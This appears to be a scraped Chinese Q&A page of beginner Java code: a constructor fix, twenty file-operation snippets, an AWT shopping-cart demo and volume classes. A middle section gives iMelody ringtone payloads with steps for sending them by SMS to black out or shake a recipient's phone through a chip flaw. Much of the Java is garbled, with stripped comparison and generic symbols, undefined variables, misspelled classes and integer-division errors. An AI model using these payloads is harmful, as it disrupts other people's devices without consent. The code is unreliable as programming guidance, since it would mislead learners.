本文目錄一覽:
簡單JAVA代碼
輸出錯了!!!
第一個類的構造方法,請看
public tt(int b) {
b=x;
}
請問,你new出來tt這個類了,x有值了吧?
也就是說你在這裡把x賦給了b,但是在第二個方法又無法用到b,也就是說,這個方法毫無用處
請將 b 和x的位置換換,同時,x為成員變數,不需要初始化給值的,是靠你傳參數的。
第二,請看
public int cc(int b) {
b=x*2;
return b;
}
你可以完全把這個方法里的傳參去掉,應為你的x是成員變數,改為
public int cc() {
return x*2;
}
然後在另外一個類里new出來tt,請看,我幫你修改了
Scanner a =new Scanner(System.in);
int b = a.nextInt();
tt cd =new tt(b);
int sd= cd.cc();
System.out.println(sb);
其實還可以改,
Scanner a =new Scanner(System.in);
tt cd =new tt(a.nextInt());
System.out.println(cd.cc());
安卓手機整人代碼java大全
BEGBEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
COMPOSER:MIK(23)Fomat
BEAT:180
MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff
(“+melody+”@9999999999999999999999999)”
手機黑屏代碼
BEGIN:IMELODY
BEAT:1200
MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)
END:IMELODY
手機狂震代碼
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODY:(ledoffledonbackoffbackonvibeon@0)
END:IMELODY
說明
1 「@」後面的數字越大,重複次數越多
2把上面代碼複製,在計算機上保存為.txt文本文件,再改名為 .imy 文件
3 imy 放到手機里的Audio文件夾
4寫簡訊(不是彩信) 寫簡訊時, 插入鈴聲對象(自定義鈴聲對象,就是剛才放在audio 里的imy 文件) 並發送, 對方只要是存在這個晶元漏洞,那麼則會產生上述所說效果.
需求50句以上的JAVA代碼,並帶註解
Java文件操作大全
1.創建文件夾
//import java.io.*;
File myFolderPath = new File(%%1);
try {
if (!myFolderPath.exists()) {
myFolderPath.mkdir();
}
}
catch (Exception e) {
System.out.println(“新建目錄操作出錯”);
e.printStackTrace();
}
2.創建文件
//import java.io.*;
File myFilePath = new File(%%1);
try {
if (!myFilePath.exists()) {
myFilePath.createNewFile();
}
FileWriter resultFile = new FileWriter(myFilePath);
PrintWriter myFile = new PrintWriter(resultFile);
myFile.println(%%2);
resultFile.close();
}
catch (Exception e) {
System.out.println(“新建文件操作出錯”);
e.printStackTrace();
}
3.刪除文件
//import java.io.*;
File myDelFile = new File(%%1);
try {
myDelFile.delete();
}
catch (Exception e) {
System.out.println(“刪除文件操作出錯”);
e.printStackTrace();
}
4.刪除文件夾
//import java.io.*;
File delFolderPath = new File(%%1);
try {
delFolderPath.delete(); //刪除空文件夾
}
catch (Exception e) {
System.out.println(“刪除文件夾操作出錯”);
e.printStackTrace();
}
5.刪除一個文件下夾所有的文件夾
//import java.io.*;
File delfile=new File(%%1);
File[] files=delfile.listFiles();
for(int i=0;ifiles.length;i++){
if(files[i].isDirectory()){
files[i].delete();
}
}
6.清空文件夾
//import java.io.*;
File delfilefolder=new File(%%1);
try {
if (!delfilefolder.exists()) {
delfilefolder.delete();
}
delfilefolder.mkdir();
}
catch (Exception e) {
System.out.println(“清空目錄操作出錯”);
e.printStackTrace();
}
7.讀取文件
//import java.io.*;
// 逐行讀取數據
FileReader fr = new FileReader(%%1);
BufferedReader br = new BufferedReader(fr);
String %%2 = br.readLine();
while (%%2 != null) {
%%3
%%2 = br.readLine();
}
br.close();
fr.close();
8.寫入文件
//import java.io.*;
// 將數據寫入文件
try {
FileWriter fw = new FileWriter(%%1);
fw.write(%%2);
fw.flush();
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
9.寫入隨機文件
//import java.io.*;
try {
RandomAcessFile logFile=new RandomAcessFile(%%1,”rw”);
long lg=logFile.length();
logFile.seek(%%2);
logFile.writeByte(%%3);
}catch(IOException ioe){
System.out.println(“無法寫入文件:”+ioe.getMessage());
}
10.讀取文件屬性
//import java.io.*;
// 文件屬性的取得
File af = new File(%%1);
if (af.exists()) {
System.out.println(f.getName() + “的屬性如下: 文件長度為:” + f.length());
System.out.println(f.isFile() ? “是文件” : “不是文件”);
System.out.println(f.isDirectory() ? “是目錄” : “不是目錄”);
System.out.println(f.canRead() ? “可讀取” : “不”);
System.out.println(f.canWrite() ? “是隱藏文件” : “”);
System.out.println(“文件夾的最後修改日期為:” + new Date(f.lastModified()));
} else {
System.out.println(f.getName() + “的屬性如下:”);
System.out.println(f.isFile() ? “是文件” : “不是文件”);
System.out.println(f.isDirectory() ? “是目錄” : “不是目錄”);
System.out.println(f.canRead() ? “可讀取” : “不”);
System.out.println(f.canWrite() ? “是隱藏文件” : “”);
System.out.println(“文件的最後修改日期為:” + new Date(f.lastModified()));
}
if(f.canRead()){
%%2
}
if(f.canWrite()){
%%3
}
11.寫入屬性
//import java.io.*;
File filereadonly=new File(%%1);
try {
boolean b=filereadonly.setReadOnly();
}
catch (Exception e) {
System.out.println(“拒絕寫訪問:”+e.printStackTrace());
}
12.枚舉一個文件夾中的所有文件
//import java.io.*;
//import java.util.*;
LinkedListString folderList = new LinkedListString();
folderList.add(%%1);
while (folderList.size() 0) {
File file = new File(folderList.peek());
folderList.removeLast();
File[] files = file.listFiles();
ArrayListFile fileList = new ArrayListFile();
for (int i = 0; i files.length; i++) {
if (files[i].isDirectory()) {
folderList.add(files[i].getPath());
} else {
fileList.add(files[i]);
}
}
for (File f : fileList) {
%%2=f.getAbsoluteFile();
%%3
}
}
13.複製文件夾
//import java.io.*;
//import java.util.*;
LinkedListString folderList = new LinkedListString();
folderList.add(%%1);
LinkedListString folderList2 = new LinkedListString();
folderList2.add(%%2+ %%1.substring(%%1.lastIndexOf(“\\”)));
while (folderList.size() 0) {
(new File(folderList2.peek())).mkdirs(); // 如果文件夾不存在 則建立新文件夾
File folders = new File(folderList.peek());
String[] file = folders.list();
File temp = null;
try {
for (int i = 0; i file.length; i++) {
if (folderList.peek().endsWith(File.separator)) {
temp = new File(folderList.peek() + File.separator
+ file[i]);
} else {
temp = new File(folderList.peek() + File.separator
+ file[i]);
}
if (temp.isFile()) {
FileInputStream input = new FileInputStream(temp);
FileOutputStream output = new FileOutputStream(
folderList2.peek() + File.separator
+ (temp.getName()).toString());
byte[] b = new byte[5120];
int len;
while ((len = input.read(b)) != -1) {
output.write(b, 0, len);
}
output.flush();
output.close();
input.close();
}
if (temp.isDirectory()) {// 如果是子文件夾
for (File f : temp.listFiles()) {
if (f.isDirectory()) {
folderList.add(f.getPath());
folderList2.add(folderList2.peek()
+ File.separator + f.getName());
}
}
}
}
} catch (Exception e) {
//System.out.println(“複製整個文件夾內容操作出錯”);
e.printStackTrace();
}
folderList.removeFirst();
folderList2.removeFirst();
}
14.複製一個文件夾下所有的文件夾到另一個文件夾下
//import java.io.*;
//import java.util.*;
File copyfolders=new File(%%1);
File[] copyfoldersList=copyfolders.listFiles();
for(int k=0;kcopyfoldersList.length;k++){
if(copyfoldersList[k].isDirectory()){
ArrayListStringfolderList=new ArrayListString();
folderList.add(copyfoldersList[k].getPath());
ArrayListStringfolderList2=new ArrayListString();
folderList2.add(%%2+”/”+copyfoldersList[k].getName());
for(int j=0;jfolderList.length;j++){
(new File(folderList2.get(j))).mkdirs(); //如果文件夾不存在 則建立新文件夾
File folders=new File(folderList.get(j));
String[] file=folders.list();
File temp=null;
try {
for (int i = 0; i file.length; i++) {
if(folderList.get(j).endsWith(File.separator)){
temp=new File(folderList.get(j)+”/”+file[i]);
}
else{
temp=new File(folderList.get(j)+”/”+File.separator+file[i]);
}
FileInputStream input = new FileInputStream(temp);
if(temp.isFile()){
FileInputStream input = new FileInputStream(temp);
FileOutputStream output = new FileOutputStream(folderList2.get(j) + “/” +
(temp.getName()).toString());
byte[] b = new byte[5120];
int len;
while ( (len = input.read(b)) != -1) {
output.write(b, 0, len);
}
output.flush();
output.close();
input.close();
}
if(temp.isDirectory()){//如果是子文件夾
folderList.add(folderList.get(j)+”/”+file[i]);
folderList2.add(folderList2.get(j)+”/”+file[i]);
}
}
}
catch (Exception e) {
System.out.println(“複製整個文件夾內容操作出錯”);
e.printStackTrace();
}
}
}
}
15.移動文件夾
//import java.io.*;
//import java.util.*;
LinkedListString folderList = new LinkedListString();
folderList.add(%%1);
LinkedListString folderList2 = new LinkedListString();
folderList2.add(%%2 + %%1.substring(%%1.lastIndexOf(“\\”)));
while (folderList.size() 0) {
(new File(folderList2.peek())).mkdirs(); // 如果文件夾不存在 則建立新文件夾
File folders = new File(folderList.peek());
String[] file = folders.list();
File temp = null;
try {
for (int i = 0; i file.length; i++) {
if (folderList.peek().endsWith(File.separator)) {
temp = new File(folderList.peek() + File.separator
+ file[i]);
} else {
temp = new File(folderList.peek() + File.separator
+ file[i]);
}
if (temp.isFile()) {
FileInputStream input = new FileInputStream(temp);
FileOutputStream output = new FileOutputStream(
folderList2.peek() + File.separator
+ (temp.getName()).toString());
byte[] b = new byte[5120];
int len;
while ((len = input.read(b)) != -1) {
output.write(b, 0, len);
}
output.flush();
output.close();
input.close();
if (!temp.delete())
System.out.println(“刪除單個文件操作出錯!”);
}
if (temp.isDirectory()) {// 如果是子文件夾
for (File f : temp.listFiles()) {
if (f.isDirectory()) {
folderList.add(f.getPath());
folderList2.add(folderList2.peek()
+ File.separator + f.getName());
}
}
}
}
} catch (Exception e) {
// System.out.println(“複製整個文件夾內容操作出錯”);
e.printStackTrace();
}
folderList.removeFirst();
folderList2.removeFirst();
}
File f = new File(%%1);
if (!f.delete()) {
for (File file : f.listFiles()) {
if (file.list().length == 0) {
System.out.println(file.getPath());
file.delete();
}
}
}
16.移動一個文件夾下所有的文件夾到另一個目錄下
//import java.io.*;
//import java.util.*;
File movefolders=new File(%%1);
File[] movefoldersList=movefolders.listFiles();
for(int k=0;kmovefoldersList.length;k++){
if(movefoldersList[k].isDirectory()){
ArrayListStringfolderList=new ArrayListString();
folderList.add(movefoldersList[k].getPath());
ArrayListStringfolderList2=new ArrayListString();
folderList2.add(%%2+”/”+movefoldersList[k].getName());
for(int j=0;jfolderList.length;j++){
(new File(folderList2.get(j))).mkdirs(); //如果文件夾不存在 則建立新文件夾
File folders=new File(folderList.get(j));
String[] file=folders.list();
File temp=null;
try {
for (int i = 0; i file.length; i++) {
if(folderList.get(j).endsWith(File.separator)){
temp=new File(folderList.get(j)+”/”+file[i]);
}
else{
temp=new File(folderList.get(j)+”/”+File.separator+file[i]);
}
FileInputStream input = new FileInputStream(temp);
if(temp.isFile()){
FileInputStream input = new FileInputStream(temp);
FileOutputStream output = new FileOutputStream(folderList2.get(j) + “/” +
(temp.getName()).toString());
byte[] b = new byte[5120];
int len;
while ( (len = input.read(b)) != -1) {
output.write(b, 0, len);
}
output.flush();
output.close();
input.close();
temp.delete();
}
if(temp.isDirectory()){//如果是子文件夾
folderList.add(folderList.get(j)+”/”+file[i]);
folderList2.add(folderList2.get(j)+”/”+file[i]);
}
}
}
catch (Exception e) {
System.out.println(“複製整個文件夾內容操作出錯”);
e.printStackTrace();
}
}
movefoldersList[k].delete();
}
}
17.以一個文件夾的框架在另一個目錄創建文件夾和空文件
//import java.io.*;
//import java.util.*;
boolean b=false;//不創建空文件
ArrayListStringfolderList=new ArrayListString();
folderList.add(%%1);
ArrayListStringfolderList2=new ArrayListString();
folderList2.add(%%2);
for(int j=0;jfolderList.length;j++){
(new File(folderList2.get(j))).mkdirs(); //如果文件夾不存在 則建立新文件夾
File folders=new File(folderList.get(j));
String[] file=folders.list();
File temp=null;
try {
for (int i = 0; i file.length; i++) {
if(folderList.get(j).endsWith(File.separator)){
temp=new File(folderList.get(j)+”/”+file[i]);
}
else{
temp=new File(folderList.get(j)+”/”+File.separator+file[i]);
}
FileInputStream input = new FileInputStream(temp);
if(temp.isFile()){
if (b) temp.createNewFile();
}
if(temp.isDirectory()){//如果是子文件夾
folderList.add(folderList.get(j)+”/”+file[i]);
folderList2.add(folderList2.get(j)+”/”+file[i]);
}
}
}
catch (Exception e) {
System.out.println(“複製整個文件夾內容操作出錯”);
e.printStackTrace();
}
}
18.複製文件
//import java.io.*;
int bytesum = 0;
int byteread = 0;
File oldfile = new File(%%1);
try {
if (oldfile.exists()) { //文件存在時
FileInputStream inStream = new FileInputStream(oldfile); //讀入原文件
FileOutputStream fs = new FileOutputStream(new File(%%2,oldfile.getName()));
byte[] buffer = new byte[5120];
int length;
while ( (byteread = inStream.read(buffer)) != -1) {
bytesum += byteread; //位元組數 文件大小
System.out.println(bytesum);
fs.write(buffer, 0, byteread);
}
inStream.close();
}
}
catch (Exception e) {
System.out.println(“複製單個文件操作出錯”);
e.printStackTrace();
}
19.複製一個文件夾下所有的文件到另一個目錄
//import java.io.*;
File copyfiles=new File(%%1);
File[] files=copyfiles.listFiles();
for(int i=0;ifiles.length;i++){
if(!files[i].isDirectory()){
int bytesum = 0;
int byteread = 0;
try {
InputStream inStream = new FileInputStream(files[i]); //讀入原文件
FileOutputStream fs = new FileOutputStream(new File(%%2,files[i].getName());
byte[] buffer = new byte[5120];
int length;
while ( (byteread = inStream.read(buffer)) != -1) {
bytesum += byteread; //位元組數 文件大小
System.out.println(bytesum);
fs.write(buffer, 0, byteread);
}
inStream.close();
} catch (Exception e) {
System.out.println(“複製單個文件操作出錯”);
e.printStackTrace();
}
}
}
20.提取擴展名
String %%2=%%1.substring(%%1.lastIndexOf(“.”)+1);
java代碼示例
importjava.awt.*;importjava.awt.event.*;classShopFrameextendsFrameimplementsActionListener{Labellabel1,label2,label3,label4;Buttonbutton1,button2,button3,button4,button5;TextAreatext;Panelpanel1,panel2;staticfloatsum=0.0f;ShopFrame(Strings){super(s);setLayout(newBorderLayout());label1=newLabel(“面紙:3元”,Label.LEFT);label2=newLabel(“鋼筆:5元”,Label.LEFT);label3=newLabel(“書:10元”,Label.LEFT);label4=newLabel(“襪子:8元”,Label.LEFT);button1=newButton(“加入購物車”);button2=newButton(“加入購物車”);button3=newButton(“加入購物車”);button4=newButton(“加入購物車”);button5=newButton(“查看購物車”);text=newTextArea(“商品有:”+”\n”,5,10);text.setEditable(false);addWindowListener(newWindowAdapter(){publicvoidwindowClosing(WindowEvente){System.exit(0);}});button1.addActionListener(this);button2.addActionListener(this);button3.addActionListener(this);button4.addActionListener(this);button5.addActionListener(this);panel1=newPanel();panel2=newPanel();panel1.add(label1);panel1.add(button1);panel1.add(label2);panel1.add(button2);panel1.add(label3);panel1.add(button3);panel1.add(label4);panel1.add(button4);panel2.setLayout(newBorderLayout());panel2.add(button5,BorderLayout.NORTH);panel2.add(text,BorderLayout.SOUTH);this.add(panel1,BorderLayout.CENTER);this.add(panel2,BorderLayout.SOUTH);setBounds(100,100,350,250);setVisible(true);validate();}publicvoidactionPerformed(ActionEvente){if(e.getSource()==button1){text.append(“一個面紙、”);sum=sum+3;}elseif(e.getSource()==button2){text.append(“一隻鋼筆、”);sum=sum+5;}elseif(e.getSource()==button3){text.append(“一本書、”);sum=sum+10;}elseif(e.getSource()==button4){text.append(“一雙襪子、”);sum=sum+8;}elseif(e.getSource()==button5){text.append(“\n”+”總價為:”+”\n”+sum);}}}publicclassShopping{publicstaticvoidmain(String[]args){newShopFrame(“購物車”);}}我沒用Swing可能顯示不出來你的效果。不滿意得話我在給你編一個。
Java語言編寫代碼
代碼如下
/**
* Author: zhyx
* Date:2017/11/30
* Time:8:56
*/
public abstract class Contailner {
double r;
abstract double volume();
}
/**
* Author: zhyx
* Date:2017/11/30
* Time:8:57
*/
public class Cube extends Contailner {
public Cube(double r) {
this.r=r;
}
@Override
double volume() {
return r*r*r;
}
}
/**
* Author: zhyx
* Date:2017/11/30
* Time:9:01
*/
public class Sphere extends Contailner {
public Sphere(double r) {
this.r=r;
}
@Override
double volume() {
return 4/3*Math.PI*r*r*r;
}
}
/**
* Author: zhyx
* Date:2017/11/30
* Time:9:02
*/
public class Tiji {
public static void main(String[] args) {
Cube cube=new Cube(4);
System.out.println(“立方體體積為:”+cube.volume());
Sphere sphere= new Sphere(4);
System.out.println(“球體體積為:”+sphere.volume());
}
}
給段最簡單的java代碼 讓我新手看一下
最簡單的java代碼肯定就是這個了,如下:
public class MyFirstApp
{
public static void main(String[] args)
{
System.out.print(“Hello world”);
}
}
「hello world」就是應該是所有學java的新手看的第一個代碼了。如果是零基礎的新手朋友們可以來我們的java實驗班試聽,有免費的試聽課程幫助學習java必備基礎知識,有助教老師為零基礎的人提供個人學習方案,學習完成後有考評團進行專業測試,幫助測評學員是否適合繼續學習java,15天內免費幫助來報名體驗實驗班的新手快速入門java,更好的學習java!
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/279766.html